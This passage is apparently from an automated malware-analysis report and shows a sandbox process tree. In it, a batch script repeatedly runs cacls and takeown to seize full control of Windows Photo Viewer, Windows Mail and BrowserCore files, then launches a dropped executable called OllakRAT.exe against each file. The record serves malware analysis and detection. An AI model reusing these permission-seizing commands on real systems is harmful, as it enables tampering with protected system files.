                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""
                                                                                  2⤵
                                                                                    PID:5640
                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                      cacls "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                      3⤵
                                                                                        PID:5372
                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                        takeown /F "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"
                                                                                        3⤵
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:3664
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5920
                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                          OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                          4⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5164
                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                        OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:1508
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe""
                                                                                      2⤵
                                                                                        PID:3780
                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                          cacls "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C
                                                                                          3⤵
                                                                                            PID:956
                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                            takeown /F "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe"
                                                                                            3⤵
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:5980
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe" -nobanner
                                                                                            3⤵
                                                                                              PID:5240
                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                OllakRAT.exe -accepteula "ImagingDevices.exe" -nobanner
                                                                                                4⤵
                                                                                                  PID:1636
                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                3⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:5532
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui""
                                                                                              2⤵
                                                                                                PID:412
                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                  cacls "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                  3⤵
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:3324
                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                  takeown /F "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui"
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  PID:5264
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                  3⤵
                                                                                                    PID:3716
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                      OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                      4⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:6040
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                    OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:3768
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""
                                                                                                  2⤵
                                                                                                    PID:5916
                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                      cacls "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                      3⤵
                                                                                                        PID:4544
                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                        takeown /F "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"
                                                                                                        3⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:6132
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                        3⤵
                                                                                                          PID:2460
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                            OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:5644
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                          OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                          3⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:5776
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Mail\wab.exe""
                                                                                                        2⤵
                                                                                                          PID:5888
                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                            cacls "C:\Program Files\Windows Mail\wab.exe" /E /G Admin:F /C
                                                                                                            3⤵
                                                                                                              PID:5132
                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                              takeown /F "C:\Program Files\Windows Mail\wab.exe"
                                                                                                              3⤵
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:4508
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "wab.exe" -nobanner
                                                                                                              3⤵
                                                                                                                PID:5344
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                  OllakRAT.exe -accepteula "wab.exe" -nobanner
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:3216
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                3⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:2864
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""
                                                                                                              2⤵
                                                                                                                PID:908
                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                  cacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                  3⤵
                                                                                                                    PID:660
                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                    takeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:5584
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                    3⤵
                                                                                                                      PID:4220
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                        OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                        4⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:5512
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                      3⤵
                                                                                                                        PID:5236
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""
                                                                                                                      2⤵
                                                                                                                        PID:828
                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                          cacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                          3⤵
                                                                                                                            PID:5308
                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                            takeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"
                                                                                                                            3⤵
                                                                                                                            • Modifies file permissions
                                                                                                                            PID:5556
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                            3⤵
                                                                                                                              PID:6112
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:5968
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                              3⤵
                                                                                                                                PID:3836
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui""
                                                                                                                              2⤵
                                                                                                                                PID:2932
                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                  cacls "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui" /E /G Admin:F /C
                                                                                                                                  3⤵
                                                                                                                                    PID:4448
                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                    takeown /F "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui"
                                                                                                                                    3⤵
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:4748
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "BrowserCore.exe.mui" -nobanner
                                                                                                                                    3⤵
                                                                                                                                      PID:5756
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                        OllakRAT.exe -accepteula "BrowserCore.exe.mui" -nobanner
                                                                                                                                        4⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:2404
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                      3⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:4928
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""
                                                                                                                                    2⤵
                                                                                                                                      PID:6088
                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                        cacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                                                                                        3⤵
                                                                                                                                          PID:2024
                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                          takeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          PID:5780
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                          3⤵
                                                                                                                                            PID:5680
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                              OllakRAT.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4796
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                            OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:3980
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Mail\wabmig.exe""
                                                                                                                                          2⤵
                                                                                                                                            PID:2072
                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                              cacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G Admin:F /C
                                                                                                                                              3⤵
                                                                                                                                                PID:5452
                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                takeown /F "C:\Program Files\Windows Mail\wabmig.exe"
                                                                                                                                                3⤵
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:5564
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "wabmig.exe" -nobanner
                                                                                                                                                3⤵
                                                                                                                                                  PID:4892
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                    OllakRAT.exe -accepteula "wabmig.exe" -nobanner
                                                                                                                                                    4⤵
                                                                                                                                                      PID:4036
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                    OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:5784
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2380
                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                      cacls "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                                                      3⤵
                                                                                                                                                        PID:5952
                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                        takeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2856
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                          3⤵
                                                                                                                                                            PID:5520
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                              OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                              4⤵
                                                                                                                                                                PID:5332
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:6016
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe""
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4452
                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                cacls "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe" /E /G Admin:F /C
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:3948
                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                  takeown /F "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1616
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "BrowserCore.exe" -nobanner
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1752
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                        OllakRAT.exe -accepteula "BrowserCore.exe" -nobanner
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:4336
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                      OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5144
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui""
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                                                      PID:3432
                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5888
                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                          cacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:660
                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                            takeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui"
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                            PID:3752
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:5988
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                PID:5508
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:5208
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:5448
                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                cacls "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5308
                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                  takeown /F "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                  PID:5556
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:4904
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                      OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:3836
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                    OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:2688
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:5692
                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                      cacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:5596
                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                        takeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:5436
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:3084
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                            OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                            PID:5544
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                          OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:2076
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:4764
                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                            cacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5852
                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                              takeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:5780
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:5608
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                  OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:5640
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:272
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:304
                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:956
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                      cacls "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1964
                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                        takeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                        PID:5712
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:1636
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                          OllakRAT.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:3804
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                        OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:4944
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui""
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:5264
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                        cacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5420
                                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                          takeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                          PID:6032
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4596
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                              OllakRAT.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:5320
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\OllakRAT.exe
                                                                                                                                                                                                              OllakRAT.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:5400
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iS1jiihw.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:5972
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                cacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C
